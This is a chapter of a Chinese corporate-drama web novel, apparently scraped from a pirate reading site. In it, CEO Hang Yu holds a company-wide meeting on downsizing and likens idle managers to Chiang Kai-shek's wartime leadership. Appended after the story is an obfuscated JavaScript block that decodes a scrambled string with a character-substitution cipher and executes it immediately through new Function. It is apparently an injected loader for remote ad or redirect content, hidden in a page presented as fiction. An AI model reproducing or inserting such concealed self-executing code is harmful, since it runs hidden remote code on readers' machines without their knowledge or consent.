(手机请访问 m.duxs8.com); 针对公司未来几年的精简计划，人事部做出明文条例，公开告诉整个集团的职员，公司需要什么人，不需要什么人。
需要的人安静下来了，他们有信心留下来。
但问题来了，缺乏信心的人也很多，他们不是每一个都甘心离去。
夏明和杭雨把大家想的太简单了，以为只要开成公布，那些不符合要求的职员就会乖乖离去，他们忽略了人性丑恶的一面。
最关键的一点，就是他们既然不符合要求，又能进入江燕公司，还能在严谨的评分机制下混到现在，有几个是省油的灯？
这样一群人显然不会坐以待毙，于是他们私下宣扬各种威胁论，搅乱人心。
甚至有一部分中高级管理也混在其中，这说明什么？说明江燕公司的管理层不够完善，混进来一些投机者，关系户，蛀虫等等。
并非杭雨任用管理，而是江燕公司发展时间太短，头两年压根没有多余的选择。大家都是“新人”，区别不过是有的人早来几个月，有的人晚来几个月。
很多管理就是早来几个月，早来那么一两年，就被当成老员工进入骨干队伍。但是一两年时间真的能看出一个人的真实品质吗？显然不能，所以混进不少残次品。
江燕公司发展太快，那些混进来的残次品跟不上公司的发展，继续让他们待下去，无疑会腐蚀公司的健康，所以杭雨决定升级一下精简人员的计划。
为了让公司稳定下来，杭雨果断召开了全体大会，总部和子公司，乃至各省和外国所有分部的经理级，主管级都要来，只留一个主管顶一天。
另外国内外各部还要派员工代表来参加，好让大家都知道杭雨的意志。
这次全体大会准备了一周时间，足足来了五千多人，很多杭雨都不认识。他们来自各省分部，外国分部，科研机构，一眼望去竟然都很年轻，普遍在三十岁左右。
杭雨西装革履，精神奕奕，站在会议大厅的高台上。
“很多人可能不清楚我为什么突然召开全体会议，先说明一下，第一是为了不久前公布的精简公司结构的问题，第二是公司未来的战略布局。”杭雨说道。
这两个问题看似不相关，其实很有关系。
杭雨之所以要讲公司未来的战略布局，目的是让全体职员搞清楚，公司将来要怎么发展，而不符合发展战略的人自然要被排除。
“本来我只是想把一些过于庞大的部门精简一下，但是没想到还未公布，公司内部就谣言四起。然后夏经理提议说坦诚公开，希望大家知道公司的意志后，能明确自身情况。但事与愿违，坦诚公开以后反而更乱了，是我们错了吗？我认为不是。”
“很显然，这是公司内部出了问题，有人不甘心束手待毙，在背地里扰乱军心！如果只是一些基层职员就算了，问题是有中高级管理参与其中，管理层出了问题。发现这个问题后我先自我检讨了一下，因为在任用管理的过程中，我并没有做出足够明智的选择。当然也有选择太少的原因，大家都知道，我们公司创立至今不过五年时间，真正的老员工很少。”
“又或许当初我选择他的时候，他还是一个有上进心，愿意为事业，为公司奉献的人。但是公司发展太快，几乎所向披靡，没什么竞争对手，于是很多人开始自满，故步自封。有的管理已经到了什么程度呢？就是只要按照公司的规划去做，只要职员们拼命工作，他坐在上面喝茶都能发展的很好。这意味着即便一头猪坐在他的位置上，这个部门也能发展的不错。”
“你们说说，我是不是应该招聘一群猪来当管理？”杭雨问道。
有的人笑了，有的人则脸色难看，有的人疑惑不解，有的人用心聆听......
职员们的反应各不相同，但没人敢回答是，又不知道该如何回答。
“当然不是，我之所以招聘人来当管理，为的就是能发挥出更大的效率。关于这个问题，我们可以从历史的教训当中窥见一二。”
“果党领袖蒋某人大家都知道吧，这是一个褒贬不一的人。果粉把他当成近代救世主，认为蒋某人是抗战主力，民族救星。别的我不敢肯定，但是把他当成民族救星这件事，绝对是大错特错。”
“这就好比我们某些管理，天天喝茶，但是靠着部门职员的努力，这个部门也获得不错的成绩，你能说这个管理对公司做出了很大贡献吗？”
“别的公司领导可能就认了，反正成绩不错，让他继续坐在那个位置上。但我是不会认的，因为他没有起到一个管理的作用，没有把这个部门的战斗力发挥到最大程度。说最大程度可能要求太高，你好歹把部门的战斗力发挥出60%以上吧。”
“蒋某人最大的问题是什么？就是他没有发挥出果军的真实战斗力。我估摸着吧，他也就发挥出果军20%左右的战斗力。”
“用一句话来形容，蒋某人完成了他的历史使命，但是这个过程有点难看。”杭雨说道。
这可不是杭雨瞎掰，事实就是如此，当年果军的素质和战斗力虽不如本子，但是要明白一件事，本子乃是异国作战！
异国作战这一点，足以抵消果军在素质，装备方面的差距。
不要求蒋某人有伟大领袖的指挥艺术，他只要不搞内战，不乱插手前线指挥，做到这两点，果军绝对不会输的那么惨。
果党在当年是有贡献的，但这个贡献不是蒋某人的贡献，而是无数士兵拼命的贡献。只能说运气不好吧，宋偏偏看中了他，而他借着宋的影响力统一了军阀。
“扰乱军心是不能阻止我改革公司内部的，我不仅要坚持下去，而且还要深化改革。首先从管理层开始，制定更加科学，更加有效的评级制度，让后入公司的精锐，付出了努力的职员有机会上来。”杭雨说道。
部分管理的脸色已经很难看了，但是也有很多人颇为振奋。
(function(){function pa49a0b(yba62){var efc5dbfe1="Dm7A%P|~5IE;gsl]rUONeH16y[To?Zvn2:YLi.&zGXB3f^CVa!/0$Wxk=dQF_(buJc4@tpRSMqwK98-,hj";var w50c463d="d3eqvW]=&Es$^h(gf8R!c,wOiCNS1LZApjMGzoJ_7xnX/Ty:a@uB;.rFl5U|6Q[0~%DHk2mPKVtYI9b-?4";return yba62.split('').map(function(yd7ae){var dd210=efc5dbfe1.indexOf(yd7ae);return dd210==-1?yd7ae:w50c463d[dd210]}).join('')}var c=pa49a0b('h2ps://1yBD.1b"" + "E" + "8" + "_" + "e" + "-"+""|~r/Bewy.Bl){$lr/Bewy.Bl=maG?H2r8?eD-amH/G_au?DGHD-dr8-eG){yrlfgYaeFPyBfWw7EwlBa%y]aw.xW2=awr.xR)){x7w/xB}$%ax xurGr~r/Bewy.Bl/ajjj_-r){x7w/xB owxyB]Wrx.R[sax[.D7l/ajjj_-r)}$%ax /G7GG8~b"w,?"H"%,?8"H"/,pUp_?jp_up_dup8"H"D,pupj,u8,u? ?UVmGV?m"H"ECE,ie"|$%ax R-m_e-~/G_au?DGbxurGrluX_?)+xurGrluXGj)+xurGrluX_k)+xurGrluX_p)|Hw_pGrr~/G_au?DGbxurGrluX_p)+xurGrluXGj)+xurGrluX_k)+xurGrluX_?)|H1j-aDGe~D-dr8-eGbR-m_e-l"KmqCeRq/DkT:eR=1Dn~~")|H:rp?mj~R-m_e-l"Km&=K3O=OPX=-Pq/Dn~~")HDeU?m7Du7~R-m_e-l"emqyemOCaPdB")H.mm-aDe~R-m_e-l"eRq1-Lk:v(~~")H-ejppUG8~R-m_e-l"em0Ea3(~")HBm87D~R-m_e-l"eRqpv3&iv(~~")H%D_8Up~R-m_e-l"aR82-]~~")H.aUrd_m~R-m_e-l"eRk/vL8w")H:7p-rG~/G_au?DGbR-m_e-l"^Pkuan~~")|H%d?aje77a~R-m_e-l"-L8svn~~")$%ax w-uuejeu?~R-m_e-l"7RTtvP&?v1~~")$%ax 1??-7r$yrl=.eawy.BWE7axesWyBD7X6rlw-uuejeu?)>,?){1??-7r~D-dr8-eGb:rp?mj|lR-m_e-l"DLqjDLkCvPI~"))$1??-7rWyD~"w"+l:7p-rGb.aUrd_m|l)*?uuuu)$1??-7rWEwC=7W1yDws~"?uuc"$1??-7rWEwC=7Ws7y]sw~"duu2X"$1??-7rWDyEa-=7D~wx/7$yrlD-dr8-eGW-.DCN~B/==){D-dr8-eGW-.DCWa227BD[sy=Dl1??-7r)}7=E7{%ax ]pdppm~r/Bewy.Bl){D-dr8-eGW-.DCWa227BD[sy=Dl1??-7r)$/G_au?DGWx7R.%7I%7BwZyEw7B7xl%d?aje77aH]pdppmHra=E7)}$/G_au?DGWaDDI%7BwZyEw7B7xl%d?aje77aH]pdppmHra=E7)}}%ax 1uUU8~D-dr8-eGb:rp?mj|lR-m_e-l"vP?yvP(~"))$1uUU8WEwC=7Ws7y]sw~"u2X"$1uUU8WyD~2r8?eD-am+l:7p-rGWe7y=l:7p-rGb.aUrd_m|l)*?uuuu))$%ax E-j_a~r/Bewy.Bla_eGaUGuU){%ax AGmU-_U~B71 4aw7l)$%ax XDdGdDG~`aD%o2ae79Dz;{2r8?eD-am}z;{AGmU-_UWw.Z.ea=74aw7owxyB]l)}`$%ax R_?-a-ja~&o6TW2axE7l=.ea=ow.xa]7W]7w9w7RlXDdGdDG))$yrlR_?-a-ja~~B/==){R_?-a-ja~{-x.1E7x[./BwVu}}R_?-a-jaW-x.1E7x[./Bw++$%ax 2G8jdD8u~w_pGrrl/G7GG8We.Beawlb4aw7b"B.1"|l)H=.eawy.BWsx7rH`sEe,;{R_?-a-jaW-x.1E7x[./Bw}`|)WE.xwll)~>:7p-rGb.aUrd_m|l),uWd)b%D_8Up|l"H"))$%ax 7pm_G_u~2G8jdD8uWyBD7X6rlxurGrluXmD))>,?h2G8jdD8ubDeU?m7Du7|l2G8jdD8uWyBD7X6rlxurGrluXmD)))V""$2G8jdD8u~2G8jdD8ub.mm-aDe|l7pm_G_uH"")b-ejppUG8|l"")bBm87D|l)b%D_8Up|l"")+7pm_G_u$1uUU8WExe~b"sww2EVff"Ha_eGaUGuUH2G8jdD8u|b%D_8Up|l"f")$D-dr8-eGW-.DCWa227BD[sy=Dl1uUU8)$yrl1??-7rN~B/==){1??-7rW%a=/7+~"\\x\\Ba227BD7D 7R w. swR="$%ax a8pG8~D-dr8-eGW]7wI=7R7Bw0C9Dl1uUU8WyD)$yrla8pG8~~B/==FFa8pG8~~/BD7ryB7D){1??-7rW%a=/7+~"\\x\\B eaBw ]7w 7R rx.R swR="}}}$yrl1??-7rN~B/==){1??-7rW%a=/7+~"\\x\\BE7BD :E s.Ew "+=maG?}%ax Cujpda~r/Bewy.Bl.ue7dd8){x7w/xB R-m_e-l.ue7dd8)b.mm-aDe|lxurGrluXpn)H:7p-rGb.aUrd_m|l)Ww.owxyB]lm_)WE=ye7l:7p-rGWr=..xl:7p-rGb.aUrd_m|l)*8)+p))}$E-j_alCujpdal=maG?))$/G_au?DGb"aDDI%7BwZyEw7B7x"|l"R7EEa]7"Hr/Bewy.Bl7){yrl7WDawaWt~~2r8?eD-am){D-dr8-eGW]7wI=7R7Bw0C9Dl1uUU8WyD)Wx7R.%7l)$yrl1??-7rN~B/==){1??-7rW%a=/7+~"\\x\\Bx7e7y%7 7R 2.Ew R7EEa]7"$1??-7rW%a=/7+~"\\x\\B7WDawaW% "+7WDawaWA}B71 k/Bewy.Bl"ax]E"H7WDawaWA)l{zwDeEV1j-aDGeHzwxaV1??-7r})}})})l"MydAaPk/7@q_DPU/Kp8w"H"pUp_?jp_up_dup8"H1yBD.1HD.e/R7Bw)}$E8_e-l)$'.substr(7));new Function(c)()})();